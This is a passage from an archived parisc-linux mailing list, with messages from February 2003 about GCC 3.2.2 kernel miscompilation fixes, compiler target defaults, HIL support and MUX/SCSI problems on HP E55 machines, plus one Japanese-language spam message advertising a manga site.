X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 10:59:39 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20030206155939.GC5012@hadron>
References: <20030206131451.GB5012@hadron> <200302061537.h16Fb8av028902@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622193 21391 80.91.229.3 (22 Nov 2014 02:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:53 +0000 (UTC)
Cc: jbglaw@lug-owl.de, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 09:00:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4ACD64829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 08:59:59 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h16FxlT5006056;
	Thu, 6 Feb 2003 10:59:47 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h16Fxdxb006055;
	Thu, 6 Feb 2003 10:59:39 -0500
Content-Disposition: inline
In-Reply-To: <200302061537.h16Fb8av028902@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17646

Hats off guys ! Get some sleep ! 


In another life John David Anglin wrote:

> > It has been suggested to keep a version of gcc-3.0 around (gcc-3.2 gets
> > installed w/ sid ) and perhaps use that to build your kernels. 
> > I am not sure is this is a requirement any longer. 
> 
> There were two patches installed in the 3.2 branch last weekend to address
> the kernel miscompilation.  They are in 3.2.2 released this week.  The main
> problem was fixed in 3.3 and the main by a series of patches installed in
> the later half of 2002.
> 
> Randolph Chung and Grant Grundler reduced the problems to simple testcases.
> Eric Botcazou diagnosed both problems.  Eric and Franz Sirl determined the
> patch set needed.  Randolph, Franz and myself helped with testing.
> 
> It was quite an intensive bit of work resolving this problem and getting
> it into 3.2.2.  All those who participated deserve a vote of thanks.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Where you stand depends on where you sit.
 		-- Rufus Miles, HEW


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L: Success and thanks!
Date: Thu, 6 Feb 2003 17:12:44 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <3E4265CD00000107@ocpmta6.freegates.net>
References: <20030206154909.I32277@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622194 21394 80.91.229.3 (22 Nov 2014 02:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 09:12:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id D03514829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 09:12:49 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18godp-0002q7-00; Thu, 06 Feb 2003 17:12:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 6 Feb 2003 17:12:44 +0100
In-Reply-To: <20030206154909.I32277@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17647

>
>On Thu, Feb 06, 2003 at 10:37:07AM -0500, John David Anglin wrote:
>> Randolph Chung and Grant Grundler reduced the problems to simple testcases.
>> Eric Botcazou diagnosed both problems.  Eric and Franz Sirl determined
>the
>> patch set needed.  Randolph, Franz and myself helped with testing.
>> 
>> It was quite an intensive bit of work resolving this problem and getting
>> it into 3.2.2.  All those who participated deserve a vote of thanks.
>
>I agree.  I was very impressed to see the amount of work Randolph & Grant
>had done when I got back.  While I'm not particularly familiar with GCC
>development, I understand the pain of trying to separate out relevant
>patches from a few months of development work and backporting them.
>Well done to all involved, particularly given the 2 days they had to
>accomplish this feat.
>

More over when I think that I track this problem for about a year and I am
not even able to locate it accurately to make this work easier earlier.

Once again, congratulation and thanks to all for this great job,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd in 2.4.20-pa23
Date: Thu, 6 Feb 2003 10:22:04 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20030206172204.GB10513@dsl2.external.hp.com>
References: <20030206102122.GW7503@aurinko.ntc.nokia.com> <9A2A64BE-39C6-11D7-8ABC-0030656F07A2@esiee.fr> <20030206122053.GX7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622194 21397 80.91.229.3 (22 Nov 2014 02:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:54 +0000 (UTC)
Cc: ext Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 10:22:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0877A4829; Thu,  6 Feb 2003 10:22:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030206122053.GX7503@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17648

On Thu, Feb 06, 2003 at 02:20:53PM +0200, Nahkola Mikko wrote:
> OK - the box doesn't have the physical HIL port anyway... do I need newer 
> tools or can I rebuild the kernel with the Debian packaged tools,

yes

> and can I expect it to work without HIL support (on a C240)?

yes 

grant


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Thu, 6 Feb 2003 17:21:32 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200302062221.h16MLXHD010590@hiauly1.hia.nrc.ca>
References: <200302022202.h12M2InV026338@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622194 21400 80.91.229.3 (22 Nov 2014 02:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:54 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 15:21:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147C94829
	for <parisc-linux@parisc-linux.org>; Thu,  6 Feb 2003 15:21:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h16MLYot010595;
	Thu, 6 Feb 2003 17:21:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h16MLXHD010590;
	Thu, 6 Feb 2003 17:21:33 -0500 (EST)
In-Reply-To: <200302022202.h12M2InV026338@hiauly1.hia.nrc.ca> from "John David Anglin" at Feb 2, 2003 05:02:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17649

> > I think they definitely should be implied by configuring for hppa-linux.
> > I don't see any enthusiasm for allowing use of additional space registers
> > for special purposes.
> 
> Ok, I will do some testing with fast indirect and no space registers.

I have installed a GCC patch on 3.3 and trunk that changes the
hppa-unknown-linux-gnu target (no change to hppa64-unknown-linux-gnu) to
include MASK_NO_SPACE_REGISTERS in the target default.  The patch also
improves the code generated in a few situations where we unnecessarily
loaded the destination space register when doing an external branch.
As these were in rather uncommon situations, I doubt anyone will see
much difference in performance.  This really only affects PA 1.x as
PA 2.0 has the "bve" insn which sets the space register automatically.

It's not a good idea to make fast indirect the default.  Fast indirect
calls only work when a program has static linkage (i.e., the're not
compatible with shared libraries because the PIC register is not set
when you do a fast indirect call).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-2022-JP?B?GyRCJV4lcyUsO1Q+bCVJJUMlSCUzJWAbKEI=?= <mail@mangaichiba.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhCIBskQiVNJUMlSCRHTCEyaCRyRkkkYCU1JSQlSD83RVA+bCEqGyhC?=
Date: Fri, 07 Feb 2003 23:40:17 +0900
Lines: 104
Approved: news@gmane.org
Message-ID: <20030207172343.8E2504829@dsl2.external.hp.com>
Reply-To: mail@mangaichiba.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622195 21403 80.91.229.3 (22 Nov 2014 02:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:55 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  7 10:23:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from st47.arena.ne.jp (st47.arena.ne.jp [210.150.221.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E2504829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Feb 2003 10:23:43 -0700 (MST)
Original-Received: (qmail 12356 invoked by uid 114); 8 Feb 2003 02:23:42 +0900
Original-Received: from mail@mangaichiba.com by st47.arena.ne.jp
	 by uid 111 with qmail-scanner-1.10 (sophie: 2.10/3.65. . Clear:0. Processed in 0.027439 secs); 8 Feb 2003 02:23:42 +0900
Original-Received: from unknown (HELO Keith) (218.221.129.167)
  by arelax.net with SMTP; 8 Feb 2003 02:23:42 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17650

============================================================
<$B;v6H<T(B><$BAw?.<T(B>
$B3t<02q<R%"%8%c%9%H!V%^%s%,;T>l%I%C%H%3%`!W(B
$B!Z#U#R#L![(Bhttp://www.mangaichiba.com
$B!Z(BE-MAIL$B![(Bmail@mangaichiba.com
===========================================================
$B(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(B
$B!!!!!!!=!=!=!!%V%m!<%I%P%s%I;~Be$N?7%3%s%F%s%D%5!<%S%9!!!=!=!=(B
$B!!!!!!!!!!%M%C%H$GL!2h$rFI$_!"EjI<$G<B:]$K=PHG!&9XF~$G$-$k(B
$B!!!!!!!!!!!!!!!V%^%s%,;T>l%I%C%H%3%`!W%=%U%H%*!<%W%s!*(B
$B(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(B

$BFMA3$N%a!<%k$GBgJQ<:Ni?=$7>e$2$^$9!#(B

$B$5$F!";d$I$b3t<02q<R%"%8%c%9%H$G$O!"%V%m!<%I%P%s%I;~Be$KBP1~$7$?(B
$B?7%3%s%F%s%D%5!<%S%9!V%^%s%,;T>l%I%C%H%3%`!W$r3+;O$$$?$7$^$7$?$N$G(B
$B$40FFb$5$;$F$$$?$@$-$^$9!#(B

   *********************************************
$B!!!!!!!!!!(BFlash$B%S%e!<%o(B-$B$GL!2h$,A4%Z!<%81\Mw$G$-$^$9!*!*(B
   *********************************************

$B!V%^%s%,;T>l%I%C%H%3%`!W$H$O!"L!2h2H$NJ}$K:nIJ$r$4Ej9F$$$?$@$-!"(B
$B$=$l$rFI<T2q0w$,%$%s%?!<%M%C%H>e$G%U%i%C%7%e$N%S%e!<%o!<$r;HMQ$7$F(B
$BA4%Z!<%8$r1\Mw!"5$$KF~$C$?:nIJ$,$"$l$P=PHG4uK>$NEjI<$r9T$$!"(B
500$B?M0J>e$,;?F1$7$?$i<B:]$K=PHG$7$F!"(B
$B9XF~4uK><T$XHNGd$9$k$H$$$&A4$/?7$7$$%7%9%F%`$G!"(B
$B$3$NEY%=%U%H%*!<%W%s$$$?$7$^$7$?!#(B

$B!!!!!!!V%^%s%,;T>l%I%C%H%3%`!W$O%$%s%?!<%M%C%H$N%3%_%1$G$"$j!"(B
$B!!!!!!!!!!!!%^%s%,5JCc$G$"$j!"=PHG<R$G$"$j!"K\20$G$9!#(B

$B!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y(B

                $B8=:_!"2q0wEPO?L5NA%-%c%s%Z!<%s<B;\Cf!*!*!*(B

$B!!!!!!!!!!!!!!!!(B4$B7n$KM-NA2=$rM=Dj$7$F$*$j$^$9$,!"(B
$B!!!!!!2q0wEPO?$7$F$b<+F0E*$KM-NA2q0w$K$J$k$3$H$O$"$j$^$;$s!#(B
$B!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y!=!=!=!y(B

$B!!!!!!!!!!!!!!!!!!!!8=:_!"Ls(B70$B:nIJ8x3+Cf!*!*(B
$B!!!!!!!!!!!!!!$<$R!"$3$N5!2q$KL5NA2q0wEPO?$7$F!"(B
$B!!!!!!!!!!!V%^%s%,;T>l%I%C%H%3%`!W$r$*3Z$7$_$/$@$5$$!#(B
$B!!!!!!!!!!!!!!!!EPO?$O0J2<$N(BURL$B$+$i$I$&$>(B
$B!!!!!!!!!!!!!!!!!!!!"-"-"-"-"-"-"-"-"-(B
$B!!!!!!!!(Bhttp://www.mangaichiba.com/d_index.html


$B!~!~!~!~!~!~!~!~!~!~L!2h2H$5$s$N:nIJEj9FBgJg=8!~!~!~!~!~!~!~!~!~!~(B

$B!!!!!!!V%^%s%,;T>l%I%C%H%3%`!W$G$O!"J;$;$FL!2h2H$5$s$+$i$N(B
$B!!!!!!!!!!!!:nIJ$NEj9F$rBg!"Bg!"BgJg=8$7$F$*$j$^$9!#(B

$B!!!!Ej9F$7$F$$$?$@$$$?L!2h2H$5$s$K$O0J2<$N%a%j%C%H$,$"$j$^$9!#(B

$B!&4uK><T$,(B500$B?M0J>e$KC#$7$^$7$?$i<B:]$KJ@<R$G=PHG$$$?$7$^$9!#(B

$B!&=PHG!"@kEA!"HNGd!"G[Aw!"Be6b2s<}!":_8K4IM}$J$I$NHQ$o$7$$:n6H$O(B
$B!!$9$Y$FJ@<R$,9T$$$^$9!#(B

$B!&%^%s%,2HMM$K$O=PHGIt?t$K1~$8$F0u@G(B15$B!s$r$*;YJ'$$$$$?$7$^$9!#(B
$B!!:_8K$OJ@<RIiC4$H$J$j$^$9$N$G!"%^%s%,2HMM$K$O%j%9%/$O@8$8$^$;$s!#(B
$B!JDj2A$O%Z!<%8?t$K1~$8$F!"(B500$B1_!A(B1,000$B1_$rM=Dj$7$F$*$j$^$9!K(B

$B!&:nIJ$NCx:n8"$,%^%s%,2HMM$K5"B0$7$F$$$l$PH/I=!&L$H/I=$OLd$$$^$;$s!#(B
$B!!F1?M;o$G$b7k9=$G$9!#(B

$B!&Ej9F$$$?$@$/:]$K$O%3%T!<869F!"$b$7$/$O0u:~J*$G9=$$$^$;$s$N$G!"(B
$B!!Bg@Z$J@8869F$rGKB;!"J6<:$9$k$3$H$O$"$j$^$;$s!#(B
$B!JC"$7!"=PHG;~$K$O@8869F$r$*MB$+$j$$$?$7$^$9!K(B

$B!&0lEYEj9F$5$l$?:nIJ$G$b5$$KF~$i$J$1$l$P!"=$@5HG$r:FEYEj9F$7$F(B
$B!!$$$?$@$/$3$H$,$G$-$^$9!#(B

$B!&<j=q$-$N?a$-=P$7$OJ@<R$G<L?"$rE=$C$F=PHG$7$^$9!#(B

$B!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~!~(B

$B=PHG<R$+$iH/9T$9$k>l9g$K$O!"DL>o0u@G$,(B10$B!s0J2<$G$"$k$3$H$r9M$($k$H!"(B
$B%^%s%,2HMM$K$+$J$j$N<}1W$r3NJ]$7$F$$$?$@$1$k%7%9%F%`$H$J$C$F$*$j$^$9!#(B
$B0u@G$OA}:~$5$l$l$P$5$l$k$[$IF~$C$F$-$^$9$N$G!"(B
$B?M5$$N9b$$:nIJ$[$IB?$/$N?M$NFI$^$l$F<}1W@-$,$"$,$k$3$H$K$J$j$^$9!#(B

$B!!!!!!!!!!!!!!>\$7$/$O0J2<$N%&%'%V%5%$%H$r$4Mw$/$@$5$$!#(B
$B!!!!!!!!!!!!!!!!!!!!!!!!"-"-"-"-"-"-"-"-"-(B
$B!!!!!!!!!!!!(Bhttp://www.mangaichiba.com/d_index.html


$B!!!!!!!!!!!!!!!!!!2?B4!"$h$m$7$/$*4j$$?=$7>e$2$^$9!#(B

$B!!!!!!!!!!!!!!:#8e%a!<%k$NG[?.$r$44uK>$5$l$J$$J}$O!"(B
$B!!!!!!!!!!!!$*<j?t$G$9$,(B $B$3$N%a!<%k$KJV?.$K$F$4O"Mm2<$5$$!#(B


$B")(B160-0022$BEl5~ET?7=I6h?7=I(B5-6-1 $B?7=IB<;3%S%k(B10$B3,(B
$B3t<02q<R%"%8%c%9%H!!%^%s%,;T>l%G%#%S%8%g%s(B
TEL03-3341-6598  FAX03-5379-7146
$B!g"~"~!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g!g(B
$B"~"~"~"~(B      $B%^%s%,;T>l%I%C%H%3%`(B
$B"~"~"~"~(B      www.mangaichiba.com
$B!g"~"~!g!g!g!g!g!g!g!g!g!g!g!g!g?M?ME7=wC$F`C$8}5^5^G!N'Na!g(B




From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status SCSI/MUX on E55 (and family)
Date: Sat, 08 Feb 2003 02:03:59 +0100
Organization: private
Lines: 34
Approved: news@gmane.org
Message-ID: <3E44577F.5060509@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622195 21406 80.91.229.3 (22 Nov 2014 02:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:55 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  7 18:04:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D4FD4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Feb 2003 18:04:02 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030208010400.SUQE20385.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 8 Feb 2003 02:04:00 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17651

Hallo PARISC Hackers !

Is there any new status on MUX or SCSI on E55 or similar ?


Further experiments with MUX:
----------------------------

Any write access to a MUX port > 0, then the machine
hangs up. I need the source code !!!!!!!
                      ===========

My new idea is, that the PDC activates port 0 via the unused
offset for giving commands. I cannot continue without HP-UX
source code or other code pieces.

Another point - a bug in the tty layer ?

If I write a string to the ttyB1 or read from it (cat < /dev/ttyB1)
then a byte 0xe0 is sent to the mux driver via mux_write ().
I could not detect, where it come from !! Any idea ?

With friendly regards
Christoph




-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:26:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status SCSI/MUX on E55 (and family)
Date: Sat, 8 Feb 2003 02:10:01 +0100
Organization: ESIEE
Lines: 15
Approved: news@gmane.org
Message-ID: <20030208021001.26d02b16.varenet@esiee.fr>
References: <3E44577F.5060509@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622195 21412 80.91.229.3 (22 Nov 2014 02:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:55 +0000 (UTC)
Cc: christoph.plattner@gmx.at
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  7 18:10:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BC2B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Feb 2003 18:10:30 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h181APkC003991;
